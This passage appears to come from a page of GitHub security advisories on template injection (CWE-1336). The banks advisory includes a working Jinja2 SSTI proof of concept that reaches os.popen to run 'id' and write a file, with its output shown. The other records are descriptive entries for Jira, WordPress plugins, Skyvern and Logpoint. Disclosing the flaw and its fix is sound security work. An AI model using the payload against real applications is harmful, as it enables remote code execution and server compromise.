arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027echo POC \u003e /tmp/rce_banks_exec\u0027).read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks \u003c= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack \u2014 identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm \u2014 identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine",
"id": "GHSA-gphh-9q3h-jgpp",
"modified": "2026-06-08T23:29:16Z",
"published": "2026-05-08T20:36:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44209"
},
{
"type": "WEB",
"url": "https://github.com/masci/banks/pull/74"
},
{
"type": "PACKAGE",
"url": "https://github.com/masci/banks"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI"
}
GHSA-GXR7-RWPM-WRQM
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14Affected versions of Atlassian Jira Server or Data Center using the Jira Service Management addon allow remote attackers with JIRA Administrators access to execute arbitrary Java code via a server-side template injection vulnerability in the Email Template feature. The affected versions of Jira Server or Data Center are before version 8.13.12, and from version 8.14.0 before 8.19.1.
{
"affected": [],
"aliases": [
"CVE-2021-39128"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-74",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-16T06:15:00Z",
"severity": "HIGH"
},
"details": "Affected versions of Atlassian Jira Server or Data Center using the Jira Service Management addon allow remote attackers with JIRA Administrators access to execute arbitrary Java code via a server-side template injection vulnerability in the Email Template feature. The affected versions of Jira Server or Data Center are before version 8.13.12, and from version 8.14.0 before 8.19.1.",
"id": "GHSA-gxr7-rwpm-wrqm",
"modified": "2022-05-24T19:14:53Z",
"published": "2022-05-24T19:14:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39128"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-72804"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H53W-2CQ3-CJ2P
Vulnerability from github – Published: 2024-11-18 15:33 – Updated: 2026-04-01 18:32Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Saso Nikolov Event Tickets with Ticket Scanner allows Server Side Include (SSI) Injection.This issue affects Event Tickets with Ticket Scanner: from n/a through 2.3.11.
{
"affected": [],
"aliases": [
"CVE-2024-52427"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-82",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T15:15:06Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Saso Nikolov Event Tickets with Ticket Scanner allows Server Side Include (SSI) Injection.This issue affects Event Tickets with Ticket Scanner: from n/a through 2.3.11.",
"id": "GHSA-h53w-2cq3-cj2p",
"modified": "2026-04-01T18:32:25Z",
"published": "2024-11-18T15:33:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52427"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/event-tickets-with-ticket-scanner/vulnerability/wordpress-event-tickets-with-ticket-scanner-plugin-2-3-11-remote-code-execution-rce-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/event-tickets-with-ticket-scanner/wordpress-event-tickets-with-ticket-scanner-plugin-2-3-11-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H92G-3XC3-WW2R
Vulnerability from github – Published: 2025-06-07 15:30 – Updated: 2025-06-17 21:41Skyvern through 0.2.0 has a Jinja runtime leak in sdk/workflow/models/block.py.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "skyvern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-49619"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-09T13:04:44Z",
"nvd_published_at": "2025-06-07T14:15:21Z",
"severity": "HIGH"
},
"details": "Skyvern through 0.2.0 has a Jinja runtime leak in sdk/workflow/models/block.py.",
"id": "GHSA-h92g-3xc3-ww2r",
"modified": "2025-06-17T21:41:21Z",
"published": "2025-06-07T15:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49619"
},
{
"type": "WEB",
"url": "https://github.com/Skyvern-AI/skyvern/commit/db856cd8433a204c8b45979c70a4da1e119d949d"
},
{
"type": "WEB",
"url": "https://cristibtz.blog/posts/CVE-2025-49619"
},
{
"type": "WEB",
"url": "https://cristibtz.github.io/posts/CVE-2025-49619"
},
{
"type": "PACKAGE",
"url": "https://github.com/Skyvern-AI/skyvern"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/52335"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Skyvern has a Jinja runtime leak"
}
GHSA-H9VV-8Q8M-V6M6
Vulnerability from github – Published: 2024-04-28 00:30 – Updated: 2024-04-28 00:30An issue was discovered in Logpoint before 7.1.1. Template injection was seen in the search template. The search template uses jinja templating for generating dynamic data. This could be abused to achieve code execution. Any user with access to create a search template can leverage this to execute code as the loginspect user.
{
"affected": [],
"aliases": [
"CVE-2022-48684"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-27T23:15:06Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Logpoint before 7.1.1. Template injection was seen in the search template. The search template uses jinja templating for generating dynamic data. This could be abused to achieve code execution. Any user with access to create a search template can leverage this to execute code as the loginspect user.",
"id": "GHSA-h9vv-8q8m-v6m6",
"modified": "2024-04-28T00:30:23Z",
"published": "2024-04-28T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48684"
},
{
"type": "WEB",
"url": "https://servicedesk.logpoint.com/hc/en-us/articles/7201134201885-Template-injection-in-Search-Template"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H9VW-G3H9-6JVW
Vulnerability from github – Published: 2024-10-16 15:32 – Updated: 2026-04-01 18:32Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Contact Form by Supsystic allows Command Injection.This issue affects Contact Form by Supsystic: from n/a through 1.7.28.
{
"affected": [],
"aliases": [
"CVE-2024-48042"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-82"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-16T13:15:13Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Contact Form by Supsystic allows Command Injection.This issue affects Contact Form by Supsystic: from n/a through 1.7.28.",
"id": "GHSA-h9vw-g3h9-6jvw",
"modified": "2026-04-01T18:32:01Z",
"published": "2024-10-16T15:32:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48042"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/contact-form-by-supsystic/vulnerability/wordpress-contact-form-by-supsystic-plugin-1-7-28-remote-code-execution-rce-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/contact-form-by-supsystic/wordpress-contact-form-by-supsystic-plugin-1-7-28-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.